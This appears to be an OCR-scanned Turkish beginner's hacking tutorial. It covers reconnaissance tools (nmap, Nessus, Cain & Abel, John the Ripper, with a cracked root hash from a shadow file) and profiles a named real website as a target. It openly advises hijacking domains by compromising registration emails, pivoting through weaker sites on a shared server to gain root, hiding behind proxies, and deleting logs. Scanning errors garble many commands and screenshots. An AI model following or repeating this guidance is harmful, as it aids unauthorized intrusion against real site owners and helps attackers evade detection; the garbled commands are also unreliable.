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Bir Hackin Anatomisi...

Selamln aleykim dostlar.
Alco yaktin beni 4. gun oldu dokiiman bitmedi.
Neyse basladik bi kere devamini getirecez.

Dokuman yeni baslayanlar icin hack bilgileri , acik ve port tarama programlarinin
kullanimi ,bilgi toplamanin énemi ve ornek olarak Linux server Uzerindeki bir sitenin
hacklenis anatomisi Uzerinedir.

Simdi arkadaslar dokimana gegcmeden 6nce her zamanki gibi bi 6n bilgi vermek
istiyorum.

Bu dokumana daha Once baslamistim hackturkden hatirlayanlar vardir. Ama bazi
sorunlar yuzinden devami gelmedigi igin tekrardan yaziyorum. Daha agiklamali
olarak...

Simdi arkadaglar sunu bi anlayalim. Gunumuzde kafasina gore site hackleyen bi
insanin istenilen bi siteyi hackleme olasiligi ¢ok dusuktur. Cunku belli aciklari
bilmekle hacker olunmaz. Yine gunumuzden ornek veriyim. Phpnuke agiklari bilindigi
uzere bu ara ¢cok meshur. Phpnuke beles bi script oldugu icin acigida c¢ok. Peki
sadece bu agiklari bilip site hackledigimizde biz phpnuke hacker mi olmus oluyoruz?
Hayir...

Tamam site hacklemek c¢ok zevkli bisey ve kolay bi is degil bunu yapmak da bir
basari belki. Ama kafamiza gore her gordugumuz siteyi hacklersek arkamizdan
kufretmeyen kalmaz. Tamam, ben de zamaninda ¢ok site hackledim belli agiklarla ki
bunlar phpnuke acgiklariydi ama ben higbir Turk sitesini sebepsiz yere hacklemedim.
Laf gidecegi yeri bilir.

Isteyen istedigi gibi hareket eder tabii ama bu isin de prensipleri olmali. Herneyse
lafl fazla uzatmadan dékimana gecelim.

Yeni baglayan arkadaslar bazi durumlardan ¢ok yakinmiglar biraz agir dille anlatiyor
falan diye. Evet bunu biliyorum ama bazi terimleri 6grenmemiz gerekiyor arkadaglar
artik. Madem hack ogrenmek hacker olmak istiyorsunuz bazi alt bilgileri kendiniz
ogrenmeniz gerekili.

Dokimanimda sade bir dil kullandigimi dusunuyorum bakallm siz de okuyun da
yorumlarinizi yapin...

Simdi verecegim bilgiler yeni baslayan arkadaslarin dékimani daha iyi anlamasi
icindir...

On bilgi 1: Domain ve host kavramlart:

Domain hepimizinde bildigi Uzere alan adi anlamina gelir. Yani bir web sitesinin
adidir. http://www.yahoo.com gibi.

Host ise domain ismini web browserimiza yazdigimizda yanitin geldigi web alanidir.
Yani domainin yoénlendigi web alanidir. Web browserimiza http://www.yahoo.com
yazdigimizda karsimiza gelen sayfa Yahoonun serverlarina kurulmus kodlar
batinlemesidir. Yani hosta yahoonun anasafyasindan tutun diger tim sayfalar belli bir


http://www.yahoo.com
http://www.yahoo.com
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duzen iginde yuklenmistir ve biz bu dizeni kargimizda web sayfasi olarak goruriuz.
Domain hack ve host hack kavramlari da buralardan gelmektedir.

On bilgi 2: Hack ve Hacker kavramlart:

Bu kavramlar kisiden kisiye degismekle beraber. Kimileri hacki bilgi ¢calmak,hirsizlik
anlaminda ,kimileri ise bir zevk olarak nitelendiriyor.

Hacker ise bu konumda bilgi galan kisi hirsiz olarak biliniyor. Ayrica hackerlar network
bilgisi mukemmel security masterlar olarak da nitelendirilebilir.

On bilgi 3: Whois nedir?
Whois bir sitenin tum Ozelliklerini barindiran bir sorgudur. Yani site hakkinda
ogrenebilecegimiz her sey whois kategorisine girer.

On bilgi 4: Linux nedir?

Linux bir igletim sistemidir. Kaynak kodlari agiktir. Unix tabanlidir. Bir ¢ok degisik
turevi vardir. Fedora , redhat , slackware , suse , turbolinux , debian/gnu Linux ,
gentoo vs vs. tak ¢ikar Linux da bu ara meshurdur. (knoppix)

On bilgi 5: Unix ve unix tabanli isletim sistemleri:

Unix bir ¢gok sistemin tabanini olusturan bir programlar zinciridir. C ile yazilmigtir.
Bsd, aix, irix, Gnu/Linux , sun-solaris gibi igletim sistemlerinin tabanini olusturur. Tum
isletim sistemleri icin. Oslar topicine bakabilirsiniz.

Ornek: Linux-unix=Windows-dos

On bilgi 6: Shell nedir?

Shell unix sisteminin komut yorumlayicisidir.

En yaygin olarak kullanilan 4 gesit shell vardir.

Bunlar C shell (csh) , bourne shell (bsh) , bourne again shell (bash) ve korne shell
(ksh) dir. Linuxta en yaygin olarak kullanilan bash dir. Diger unix tabanl sistemlerde
de en cok kullanilan csh dir.

On bilgi 7: Knoppix-tak ¢ikar Linux kurulum ve kullanim:

Knoppix Linux turevlerinden biridir en buyuk ozelligi hdd Uzerinde ek bir partition
olusturmadan cd ile ¢alisabilmesidir. Hdd ye herhangi bir sey yuklemeniz gerekmez.
Ornegin benim kullandigim knoppix 3.3 e bakarsak. Netten download edip iso
dosyasini extract edersiniz winrar ile.

Linux download edebileceginiz linkleri full programlar topicinde verdim. Daha sonra
bu extract ettiginiz dosyalari cd ye cekersiniz. Daha sonra cd yi agip knoppix
dizininde mkfloppy.bat dosyasini calistirip floppy ye bir disket takip boot disk
olusturursunuz. Sonra biostan ilk boot drive ini floppy,

ikinci boot drive ini cd-rom, ugunuyU de hdd yapip restart atarsiniz ve iste karsinizda
Knoppix Linux. ilk ekranda c¢ikan boot: kismina expert yazin gecin. Sonra ¢ikan her
seye yes deyin. ilk basta floppy den gerekli mount (ylklenecek driverlar filan)
edilecek dosyalari alir. Onun igin birkag kere yes deyip enterladiktan sonra no deyip
gegin. Sonrasi zaten kolay.
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Knoppix kullanimi kolaydir. Diger Linux turevlerindeki tum komutlari verebilirsiniz.
Ama herhangi bir program kuramazsiniz. Dosya ¢ekimi yapabilirsiniz. Sadece hdd ye
daha Onceden Linux programlarindan birini kurduysaniz bunu tmp dizinine gekerek
kurabilirsiniz. Mesela ben mess.be adresinden amsn i windowsta download edip
Knoppixde calistirmistim.

Bu arada tar.gz uzantili dosyalari shellde su komutla agarsiniz.

$ tar -zxvf dosyaad..tar.gz

Dosya calistirma komutu: $ ./dosyaadi seklindedir.

On bilgi 8: Registrar server-Dns server kavramlari:
Registrar server bir domainin alindigi site , dns server domainin yonlendirildigi
serverdir.

On bilgi 9: Proxyler ve internette gizlenme:

Proxy bizim ip numaramizi saklayarak baska bir ipden nette dolagsmamizi saglayan
sistemdir. Saniye basi Proxy degistirerek bizim nette gizlenmemizi saglayan
programlar vardir. Steganos gibi... Proxy bir ¢ozUm degildir ama gegici guvenlik
sagdlar...

On bilgi 10: Command promptu: (Xp igin galistir: cmd

Win98 icin calistir: command)

Bildigimiz  dos komut  sistemidir. icinde bircok komut barindirir.
Ping,finger,tracert,nbtstat,netstat,net ve tim dos komutlari (copy,deltree vs)

Kendi ip numaramizi: command promptunda ipconfig yazarak gorebiliriz.

internet kafede command promptuna ipconfig yazarsak karsimiza 192.198.1.1 veya
10.0.0.1 gibi bir deger c¢ikabilir. Bu kendi ipmiz deil ag ipsidir. Kendi ip mizi mirc gibi
programlari ¢aligtirarak yada programlar vasiyasiyla gorebiliriz.

Gordugumuz ip gercekte cafenin server ip sidir...

On bilgi 11: Port karvram::
Port bir pc nin veri girig ¢ikigi yaptigi kapilaridir.

On bilgi 12: Kernel ¢ekirdegi:

Kernel cekirde@i unix tabanl isletim sistemlerinin kalbidir. Tum unix sistemler bu
kernel gekirdegi uzerinden calisir. Kisiye gore dizayn edilebilir.

Degistirilebilirdir.

Bu kadar on bilgi yeterli bence. Anlamadiginiz noktalart web hack hakkinda
ogrenmek istedikleriniz topicinde sorabilirsiniz.

Hadi bismillah... baslayalim artik...

Arkadaslar hepimizin bildigi bisi var o da whois artik bunu bilmeyen yok gibi.
Whois sorgusu alabilecegimiz bir suru siteyi konu basligi olarak a¢gmistik daha
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Oonceden de...

Ornek olarak

http://www.whois.sc
http://www.arama.com/domain.php3
http://www.networksolutions.com
http://www.netcraft.com

verilebilir.

Dokumanin ilerleyen safhalarinda sectigim bi site igin ayrintil whois sorgusu ve
aciklamasini vericem.

Whois sorgusu bize site hakkinda ¢ok sey verir ki bunlar domain bilgileri ve host
bilgileri olmak Uzere ikiye ayrilr.

Domain bilgisi olarak:

Sorgunun bize verdikleri domain sahibinin adi,soyadi,telefon,adres, (dogru girilmisse
tabii) agikcasi bizi ilgilendiren taraf bu deil. Bizim amacimiz belli;: Hack. O zaman
dikkat etmemiz gereken asil nokta domainin kayith oldugu mail yani reg mail ve
registrar server... Peki bunlar nigin dnemli? internetteki her domain yani alan adi bir
mail Uzerine kayithdir. Bu mail adresi kimin elindeyse domainin sahibi de odur.

O zaman biz bi sitenin reg mailini hacklersek (Alco bu is tam senluk) o site artik bizim
olur ve kimse de hak iddia edemez.

Sadece domain bilgilerini tam giren kuruluglar ve kisiler haric.

Onlar registrar serverlariyla baglantiya gecip domainlerini geri alabilirler... Peki
registrar server bizim icin niye onemli dersek. registrar server domainin alindigi
serverdir. Bu serverdaki bi agcik demek bu serverdaki tim domainleri ele gegirme
firsati demektir. Bu iglem tabii reg mail hacke nazaran daha zor bi yontemdir.

Host bilgisi olarak :

Whois sorgusu bize domain bilgisine nazaran daha c¢ok bilgi verir ki en onemli
bilgileri burada aliniz. Host bilgisi olarak elimize gegenler sunlardir. Web server tipi
,Jornek Linux apache 1.3.31 (unix), Microsoft IIS 6.0 gibi],

ip nosu (bunu zaten dosta ping http://www.siteadi.com-net-org

vs. yazarak da gorebiliriz.) , host Uzerinde scriptlerin ¢aligmasina olanak veren
programlar(daemonlar) ve surumlerini de goruruz ki bu secenek aslinda hostun
Ozellikleridir ama bizim igin bi firsattir. (0rnek PHP 4.3.1. vs vs.. gibi). Ayrica
bunlardan baska hostun Uzerinde bulundugu ip blogu, host Uzerinde calisan diger
siteler gibi segenekleri de gorebiliriz.

Host Uzerinde calisan diger siteleri reverse ip tool la bulabiliriz ki

http://www.whois.sc sitesinin reverse ip tool secenegdi host Uzerinde c¢alisan sadece
3 siteyi veriyor sadece Uyelere.

Simdi size bi de programlarla whois sorgusu+ayrintili port taramasi nasil yapilir onu
gosteriyim.

Simdi arkadaslar yeni baslayan herkes web hackin programla yapildigini saniyor
ama web hackin programla bi alakasi yok. Sadece bize yardimci olan belli
programlar var ki bu programlarda sadece bilgi edinme amacli.. tabii agik tarama
programlari da var ama onlar size siteyi hackletmez sadece acgigi verir.
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Portlarin ne demek oldugunu biliyoruz...

Tcp portlari ve islevleri:

Port: Servis: Aciklama:
7 echo Bu porttan sunucuya ne yollarsaniz aynen geri yollar
9 discard Dev/Null
11 systat Kullanicilar hakkinda bilgiler
13 daytime Tarih ve zaman bilgisi. Bilg.in nerede oldugu bulunur
15 netstat Network ile ilgili onlarca bilgi
19 chargen sistemde kullanilan ASCII karakterler ACile durur.
21 ftp FTP portu
23 telnet Telnet.
25 smpt istediginiz mail adresi ile mail atmak.
37 time Saat
39 rip Resoruce Location
43 whois host ve ag hakkinda bilgi.
53 domain Name server
70 gopher gopher
79 finger kullanicilar hakkinda bilgi
80 http Web sunucu
110 pop Gelen mail
119 nntp News group.
443 shttp Secure Web Sunucu
512 biff Mail habercisi
513 rlogin uzaktan giris ve kontrol
who
514 shell uzaktan kontrol , sifre kullanmadan!
syslog uzaktan sisteme giris
520 route Yonlendirme protokol

Simdi benim de sahsen kullandigim bikag¢ program ismi vericem..

ilk programimiz NMAP... bu program ¢ok baba bi programdir ki bizi uzun port
taramasi yapma zahmetinden kurtarip hostun veri giris ¢ikisi yapilan ve sik kullanilan
portlarini ve bu portlar Gzerinde veri giris ¢ikigi yapan programlari tcp/ip protokolleri
Uzerinden guess yaparak bize verir. Daha bir suru islevi vardir. Asil amaci hacklemek
istedigimiz hostu haritalar ve bize yol gosterir. Peki bu bizim ne isimize yarar? iste
hackin en dnemli kismi budur. Biz bu portlar Gzerinde ¢aligan bir programin agigini
kullanarak sisteme sizabiliriz. Sistem Windows ise administrator, Linux ise root
olabiliriz. Diger sistemler i¢cin de en yuksek user seviyesine ulasabiliriz. Programin
kullanimi basta zor gelebilir ama kullandikga 6grenirsiniz.

Nmap kullanim klavuzunu ekte vericem... Screenshotunu da veriyim...
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Bu Linux versiyonu:
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Bu dos versiyonu:

Komut istemi

F:“~Hackprogram~nmap—3.58>nmap

Mmap 3.58 Usage: nmap [Scan Tuped<s2»] [Options] <host or net list>

Some Common Scan Types (=" options require root privileges)

* —gf TCP SYH stealth port scan fdefault if privileged <{rootl>
—sT TCP connect{} port scan <{default for wunprivileged users)

* —zll UDP port scan
—sP ping scan (Find any reachahle machines}

* —sF.—s5H,.—sH Stealth FIH. Hmas. or Mull scan <experts onlyl>
—sll Uersion scan probhes open ports determining service & app namessversions
—-zRs—1 RPC-Identd scan <use with other scan typesl

Some Common Options Cnone are required, most can be combhined):

# —() Uge TCPAIP fingerprinting to guess remote operating system
—p <range’ ports to scan. Example range: *‘1-1824.1880.6666,.31337°
—F Only scanz ports listed in nmap-services
—u Uerhose. Its use is recommended. Use twice for greater effect.
-PB Don’t ping hosts (needed to scan www.microsoft.com and others)

* —Ddecoy_hostl.decoy2l....] Hide scan using many decoys
-6 =zcans via IPu6 wather than IPud
-T <Paranoid!SneakyiPolite IHormalifAggressiveilnsane? General timing policy
-n/—R Hever do DHS resolutionsAlways resolve [default: sometimes resoluel
—oN/—0l/—0G {logfile? Output normal- RHML-Agrepable scan logs to <logfile’
—iL <inputfile> Get targets from file; Use '—' for stdin

* —8 {your_IP>/—e {devicename? Specify source address or network interface
——interactive Go into interactive mode C(then press h for helpl
——win_help Windows—specific features

Example: nmap —v —s5 -0 wwuw_.my.com 172.168.8.8-16 '192_88-98_%x_='

CEE THE MAM PAGE FOR MANY MORE OPTIONWS, DESCRIPTIONS. AMD EXAMPLES

F:“~Hacksprogram~nmap—3 .58>nmap —-=5% —-p 88 -0 —wv wuww.turkarea.con
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Bu da Windows versiyonu:

k= NMapWin v1.3.1

Scan lgiscwer] thiu:uns] T_iming] Eiles ] Sergiu:e] ﬂinSE]

bdode Scan Optiohg
[ PortR [~ UseD [ Bounce Scan
[ Connect " Mull Scan  Window Scan | ort fande | ze Decoy |
% S¥MSteath © ZmasT ™ BCPS
. = S TEe B e [ Device [ Source Addresz [ Source Port
O FIM Stealth ¢ |P Scan " List Scan | | I
(" EingSweep € [dle Scan [ Idle Scan Host
" UDPSzan O ACK Scan l—
Cutput

\CHD: 55 -PT P -0 -T 3127.0.0.1 || 30/06/04 | 04:23.43

Programi indirebileceginiz link: http://www.insecure.org/nmap

Siradaki programimiz Nessus... Nessus kullanimi zor bir programdir.

NASL (Nessus Attack Scripting Language) dili ile 6zel saldirilar diuzenleyebilme
Ozelligi olan bir scanner programdir. Asil 6nemi guvenlik deliklerini yakalayarak bize
sunmasidir. Nessus daha onceden bedava igletim sistemlerinde calisiyordu ama
artik Windowsta da calisabiliyor. Winpcap eklentisiyle tabii...

Windows versiyonunu hi¢ kullanmadim ¢ok banal Linux versiyonu gibi deil...
Nessusun Linuxta kurulumu igin nessusun library dosyalarini,nasl dili igin
yorumlayicisini,nessus istemci ve sunucusunu,zayifik tarama eklentilerini
yuklemeniz gerekmektedir.

Kullanimini ekte vericem...

Screen shotlarini da veriyim tabii bunlar Linux altinda ¢alisan Nessus screenleri...


http://www.insecure.org/nmap
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TCP ping destination part : g0
Eoo 3 TCP ping
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O | Hessus Setup

| Nessusd,ml Plugi& Pretg.‘l Scan*opm’ TargabsaWM@ ﬂi

~Plugins preferences

r
HTTP NIDS evasion:

4 Use HTTF HEAD instead of GET
URL encoding

& none

J Hex

2 UTF-16 (double byte)
2 UTF-16 (MS %u)

2 Incorrect UTF-8

Absolute URI type J

@ none
J file
2 gopher

2 hitp

ET — | &

| Startth | Load re Quit |

{Nessusd host ‘] Hugins‘ Prerst ﬁ Target selection | User | KB | Credits

- Gcan optiohs

Fort range : 1-15000

D Consider unscanned ports as closed

Mumber of hosts to test at the same time : 20

Mumber of checks to perform at the same time © 10
Fath to the CGls fegi-bin:facripts

D Do & reverse lookup on the IP before testing it

Euptlmlzs the test

Esm checks

| g Detached scan

B

Port scanner :

scan for LaBrea tarpitted hosts
| Fing the remate host

FTF bounce scan

Mmap tep connect() scan

€ statthesen O € Lowdreport ) € Quit 3
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MM:
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5} Partscan : F ! @
Attack J
192.166.247 2 Security check : SME login
—
W *:ﬁ =1 [=][=]
§ Portscan : E ‘m
Attack
192188247 2 Security check : Nmap
—
: =] [=] =]
Subret a Port ;'1

[ ——

10 ) e iz £ netbios-ns (137Audp) m

I Severity

myscl (3306/cp) 1
rmicrosoft-cs (445/tcp)

hitps (443icp)

| @ nhttp (80itcp) I
generaliudp ?-I-

"'L

«  Security Notes

[&@  Security Holes

Your My SOL database is not password protected.

Host a (deleting a database, adding bogus entries, ...}
FEl—§ 1921682472 ]

| . sl
. huke
. test

! incoming connections to this port.
1
|
|

Risk factor : High

Anyone can connect to it and do whatewver he wants to your data

We could collect the st of databases installed on the remote host :

Solution ; Log into this host, and set a password for the root user
through the command myagl -u root password <newpassword:’

Read the My SCQL manual (avallable on waw mysgl.com ) for details,

In adclition to this, it is not recommanded that you let your MySGL
dasmon listen 1o request from anywhere in the world, You should fitter

Programi indirebileceginiz link : http://www.nessus.org

Siradaki program yine pek ¢ok yetenege sahip oxid.it yapimi CAIN&ABEL...
Bu programin 6zellikleri cracker,sniffer,traceroute ve bir surlu ek 6zellik...

Screenshotu:
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ﬁ Protected Storage @ L54 Secrets |§ Network |@ Sniffer |L,j‘° Cracker |@ Traceroute um CCou j

Resource | Username | Password | Type |

Cain v2.5 betad? by mao

Programi indirebileceginiz link: Win98-XP igin ayri ayri setup dosyalari bulunmakta...
http://www.oxid.it

Siradaki programimiz hepimizin bildigi John The Ripper...

Bu program bilindigi Uzere crackerlarin en ¢cok kullandigi programlardan biridir ve
halen de tutulmaktadir. Bu programin bizi en ¢ok ilgilendiren tarafi criptolu sifreleri
kirabilmesidir. Md5-base 64 gibi criptolanma yontemleriyle encrypte edilmis
password dosyalarini bu programla decrypte edebilir yani kirabiliriz. Ben elimdeki bir
etc/shadow dosyasini johnla kirdim screenshotunu da verdim. Programin kullanimi
zaten kolay...

once kirmak istedigim shadow dosyasini veriyim...

cat: bu komut unixde dosya icerigini gortuntuler, dosya acar , dosya duzenler...
cat etc/shadow dan ¢ikan sonug: pass.txt olarak johnun run dizinine copy edilmigtir...

root:$1$Ke6huM9F$LIKFkOF668gYMsK8nTops1:12598:0:99999:7:::
daemon:*:11453:0:99999:7:::

bin:*:11453:0:99999:7:::

sys:*:11453:0:99999:7:::

sync:*:11453:0:99999:7:::

games:*:11453:0:99999:7:::

man:*:11453:0:99999:7:::

lp:*:11453:0:99999:7:::

mail:*:11453:0:99999:7:::

news:*:11453:0:99999:7:::


http://www.oxid.it
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uucp:*:11453:0:99999:7:::
proxy:*:11453:0:99999:7:::
majordom:*:11453:0:99999:7:::
postgres:*:11453:0:99999:7:::
www-data:*:11453:0:99999:7:::
backup:*:11453:0:99999:7:::
msql:*:11453:0:99999:7:::
operator:*:11453:0:99999:7:::
list:*:11453:0:99999:7:::
irc:*:11453:0:99999:7:::
gnats:*:11453:0:99999:7:::
nobody:*:11453:0:99999:7:::
knoppix:*:11593:0:99999:7:::
mysql:1:11550:0:99999:7:::
postfix:1:11678:0:99999:7:::
sshd:1:11864:0:99999:7:::
partimag:!:11916:0:99999:7:::
telnetd:!:12090:0:99999:7:::
distccd:!:12106:0:99999:7:::
bind:!:12141:0:99999:7:::
sslwrap:1:12187:0:99999:7:::

=+ Komut istemi

F:“Hackprogram~john~john—-16%run>john
John the Ripper Uerszion 1.6 Copyright <(c? 1776-78 by Solar Designer

Usage: john [OPTIONS]1 [PASSWORD-FILES]
single "single crack" mode
wordfile:FILE —stdin wordlist mode, read words from FILE or stdin
rules enable rules for wordlist mode
incrementall :MODE] incremental mode [using section MODE]
external mode or word filter
no cracking,. just weite words to stdout
restore an interrupted session [from FILE]
session=FILE set session file name teo FILE
status[:FILE] print status of a session [from FILE]
makechars :FILE make a charset,. FILE will be overuritten
show show cracked passwords
test perform a benchmark
users: [-ILOGINIUIDL, .. load this (these? useris>» only
groups = [-1GIDL...1] load users of this (these groupts> only
shells s [-1SHELLL...1] load wsers with this {(these) shell<{s> only
salts: [—1COUNT load salts with at least COUNT passwords only
format -HAME force ciphertext format MAME <DES.BSDI.-MDS-BF-AFS.-LM>
savemem:LEUEL enable memory saving, at LEUEL 1..3

F:“Hack“program~john~john—16“run>*john —wordfile:password.lst pass.txt
Loaded 1 password (FreeBSD MDS [32-321>

41954 Crootd

gueszes: 1 time: B:-00:A0:880 188x crs=: 2298 trying: 141954

F:“~Hack-program-johnsjohn—-16%run>exit

John the ripper indirmek isteyenler:
http://psycash.cjb.net
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Bunlardan bagka bir surl program anlatilabilir ama dokuman ¢ok uzar onun igin
sadece onemli olanlari verdim.

Siz de kendinize 6zel scannerlarla istediginiz bilgileri ele gegcirebilirsiniz. Diger
program isimlerini de veriyim ama siz arayin bulun artik di mi...

N-stealth , Retina Securtiy Scanner , NSS (Network Security Scanner) , Strobe ,
SATAN , Jakal , IdentTCPscan ,Wingate(bu scanner deil ama eski ve hos bi
program) vs vs...

Ayrica onemli bi yontemde ilgili siteye ftp,telnet,ssh gibi yollardan baglanmayi
deneyerek sistemin kullandigi programlari 6grenmektir

Localhost a gektigim ftp komutunun cevabini gériyoruz...

= Komut istemi - ftp

C=s>tp

ftp> open localhost

Baglanta CASH.

228 CASH. FTP server CGHU inetutils 1.3.2> ready.
Kullanici (CASH:C(nonel>:

Ftp serverimi da 6grenmis oldum bdylece...

Bisi daha basta da anlattigim gibi bi phpnuke furyasidir gidiyor. Phpnuke agiklarini
teker teker denemekten yoruldum diyorsaniz o zaman size faydali bir program
veriyim.

Programin adi CMxploiter 4 (spymaster arkadasimizin bana hediyesi). Yapmaniz
gereken elinizde bulunan exploit listesini programa vermek ve startlamak. Ayrica
Proxy de istiyor. Programin linkini sonda vericem. Proxy bulabileceginiz ¢ok site var.
http://www.atomintersoft.com bunlardan biri...

Ayrica bunlardan bagka bizim gizlilik prensibimizi saglamaya yarayacak olan
Steganos Internet Anonymous programi var. Buna benzer Permeo Security Driver
da iyi bir programdir.

Bir de Where is ip programi var ip saptamak igin gusel bi program tavsiye ederim.
Ayrica islemlerimizi hizli bir Proxy Uzerinden yaparsak daha guvende oluruz. Tabii
eder bi sistemde iz birakmamak istiyorsak loglarimizi da silmeliyiz.


http://www.atomintersoft.com
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Host hakkinda ayrintili bilgi alabilecegimiz diger yontemler:
Dos altinda finger , tracert (traceroute) komutlarini kullanmaktir.

Finger komutu bize ilgili host Uzerindeki kullanicilari ve izin verilmigsse bu
kullanicilarin host Uzerindeki Ozelliklerini verir. Bir protokoldur yani belli bir port
Uzerinden baglanti kurularak yapilir. Oncelikle bilgi almak istedigimiz hosta 79.
porttan yani finger portundan telnet baglantisi yapmaliyiz tabii agiksa. Bunu da
Windows xp de screendeki gibi. 98 de ise c¢aligtira telnet yazip baglan kismina host
adini baglanti turu kismina 79 yaziyoruz.

Screenshotu:
= Komut istemi

Belirtilen bir sistemde Finger hizmetini galaistiran kullanici hakkindaki
hilgileri gorintiiler. Ciktalar. usak sisteme bagli olarak degisebilir.

FIMGER [-11 [kullanicilBhost [...1

-1 Bilgileri uzun liste biciminde goriintiilew.
kullanici Hakkinda bhilgi istedifiniz= kullaniciyi belirtir.
Belirtilen ana bhilgizavardaki tiim kullanicilap hakklndaki

hilgileri goriintiilemek igin kullaniciyi atla parametresi.
Bhost Uzak sistemde wer alan. kullanicilari hakkinda bilgi edinmek
istediginiz sunucuyu belirtir.

s> inger -1 localhost

[CASH]
» Finger: connect::Baglanti reddedildi

Cos g

tabii benim sistem finger a izin vermiyor.
Traceroute: Dos Uzerinde tracert komutu.
Bu komut bize hosta gonderdigimiz paketin ka¢ yol gegerek hosta ulastigi hakkinda

bilgi verir. Routerlari falan listeler...

Screenshot:
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o+ Komut istemni

C:w>tracert

Kullanim: tracert [-d] [-h enfazla_sigramal [-j anabilgisavarlistesil
[—w zamanasimi]l hedef _ada

secenekler:

Adreslerdi ana hilgisavara cizme.

—h enfazla_sigrama Hedef aramasi igin en fazla sigrama sayisi.

—j anabilgisayarlistesi -Ana hilgisayar listezinde =zorunlu olmayan
kaynak yolu.

— Zamanagimi Her yanit igin zaman asimi bekleme siiresi

tmilisaniyel.

srtracert —d localhost

En fazla 38 atlamanin iistiinde
CASH [127.8.8.11'ye izleme yolu :

1 <1 ms <1 ms <1 ms 127.8.08.1
izleme tamamlandi.

G

kendi localhostuma c¢ektigim tracert komutunun cevabini goruyoruz...
Evet dokumanimiza devam edelim...

Buraya kadar yaptigimiz islemler ilgili hostun haritalanmasi ve gerekli bilgilere
ulasiimasi agsamasiydi. Bundan sonrasi ise bizim bilgi , deneyim ve tecrubelerimize
kaliyor.

Bundan onceki asamayi ve kalan asamay1 ornek bir site Uzerinde anlaticam...

Ornek olarak aklima bir site gelmedi bende Alconun tavsiyesi (zerine
http://www.turkarea.com sitesi Uzerinde gostericem.

Simdi whois bilgimizi aliyoruz. http://www.whois.sc sitemize girdik Domain Explorer
bolumune gectik. http://www.turkarea.com yazdik. Karsimiza su bilgiler ¢ikti. Bunlar
Host Bilgileri: Screenshot:

TURKAREA.COM


http://www.turkarea.com
http://www.whois.sc
http://www.turkarea.com
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2 Whois Source - turkarea.com [2004-06-28] - Microsoft Internet Explorer

: Dosya Digen  GéorinOm Sk Kullanlanlar  Araclar  Yardim %
: B ; ; : »
Al N ) < = 5 - 3 5
; Iﬂ Iﬂ] W | S Ara ;£ Sik Kullanilanlar er Ortam &2 =" % ‘E .;i ; Eadlantiar
: Adres Turkarea,com Whais Sorgusu ! a Git

HEVEFSE [F - BUIE LRECK - FrETEFENCESY - HEMOTE S8

Whois Source Membershi -'\‘ME-’J'JN'N-’D!'M‘P Inc.
Silver Mermbership is now available

TURKAREA.COM

T = LOgih =

Website Title: Turkarea Forum

Meta Description: This is a discussion forum powered by vBulletin," /

Meta Keywords: vhulletin, forum, bbs, discussion, jelsoft, bulletin board" /

Website Status: Active

Reverse IP: Web server hosts 11 websites (reverze ip tool requires free login)

Server Type: Apache/s1.3.31 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2
mod_bwlimited/1.4 PHP/4.3.5 FrontPage/5.0.2.2634a mod_ss1/2.8.18
OpenS5L/0.9.7a (Spry.com also uses Apache)

IP Address: £9.93.104,90 (ARIN & RIPE IP search)

1P Location: [ - Texas - Dallas - Theplanet.cam Internet Services Inc

Cached Whois:  Cached today

Whois History: 2 records stored

Record Type: Domain Name
Monitor: Monitor or Backorder
Wildcard search: 'turkarea' or 'turk area' in all domains.

.com .net .org .info .biz .us
Other TLDs:

X [0 O O [ [4 available domains]
Name Server: MN51.SERVER4US.NET
ICANN Registrar: GO DADDY SOFTWARE, INC,
Created: 2004-06-14
Expires: 2005-06-14
Status: ACTIVE
w
»@ & Internet

Simdi bu bilgileri gdézden geciriyoruz... Bizi ilgilendiren bolumler sunlar:

Reverse ip, server type, ,ip adres( ping ¢ekerek de bulabiliriz), name server ,ICANN
registrar,
bu bilgilerimizi bir yere kaydediyoruz. Simdi sirasiyla aldigimiz bilgileri 6zetleyelim.

Reverse ip: Bu tool yani segenek bize server Uzerinde c¢alisan diger siteleri verir.
Whois.sc i¢in sadece Uyelere O0zel olmakla birlikte 3 site gorme hakki vermektedir.
Silver membershipe gecerseniz host Uzerindeki tim siteleri gorebilirsiniz.(yani host
uzerindeki tum domainleri gorebilirsiniz)

Bu secenegin bizim i¢cin dnemi su. Server Uzerinde hacklemek istedigimiz bir site var
ve bu site ¢ok saglam diyelim. Herhangi bir acik elde edemedigimizde elimizin
altinda bulunan bir sanstir. Server Uzerinde zayif bir site demek server icin tehlike
demektir. Mesela http://www.turkarea.com sitesi icin herhangi bir acik
bulamadigimizi farzedelim. Ama server Uzerinde baska bir site var ve acidi ¢ok. Bu
acigl ¢ok olan sitenin sitenin ftp sine eriserek ilgili kodlar1 atabilirsek serveri komple
ele gecirebilir, Root veya admin(servera gore) olabilir istedigimiz her seyi yapabiliriz.

Server type: Bizim icin en onemli noktalardan biri. Server tipi bizim baz aldigimiz
nokta. Mesela ilgili site i¢in server tipi Apache/1.3.31 (Unix). Buradan anliyoruz ki bu
server 80. porttan Apache 1.3.31 Http serveri c¢aligtirnyor. Ayrica PHP/4.3.5
FrontPage/5.0.2.2634a ve Mod_ssl/2.8.18 OpenSSL/0.9.7a kullaniyor. Bunlar
Daemon dedigimiz yapilardir. Daemonlar arka planda calisirlar ve serverin asil
aktivitesini yerine getirirler. Peki bunlarin bizim icin 6nemi nedir?


http://www.turkarea.com
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iste asil nokta burada basliyor. Exploitler... Server (izerinde kullanilan daemon veya
http serverin bir agigindan iceri sizabiliriz. Peki ne yapmaliyiz. Security sitelerini
devaml takip etmeli en son ¢ikan exploit , ve sistem guncellestirme paketlerini goz
ardi etmemeliyiz. Sunu unutmamaliyiz ki hiz bizim icin gok dnemli. Simdi size pek de
eski olmayan bir apache exploitinin derlenmesini screenshotla beraber anlaticam.
Bundan 6nce exploitlerle ilgili kisa bir bilgi veriyim.

Exploit nedir?

Bir sistemin aci§1 Uzerine yazilmis kodlardir. igerik olarak include ve define edilmis
degisik kod kiimeleri barindirirlar(h kodlari).Bu kodlar bizim uzun uzun ugragsmamiza
gerek birakmadan hizli

bir sekilde servera gerekli komutlari verdirerek exploitin amacini yerine getirirler.
Exploitler root ve local olmak tzere ikiye ayrilir.

Ayrica exploitler: C exploitleri ve Perl yani pl uzantili exploitler olmak Uzere de yine
ikiye ayrilr.

C exploitler unix tabaninda derlenir. Perl exploitler ise dos tabaninda. Tabii Active
Perl kullanarak. Perl exploitleri daha sonra yazacagim bir dokimanda anlatmak
istiyorum onun i¢in bu dokimanimda yer vermiyecegim.

C exploitlerin bulunmasi daha kolaydir. Cinku Linux agik kaynak kodlu bir dildir. Yani
herkes kendine gore Linux yazabilir. C exploitler gcc compileri ile derlenir.
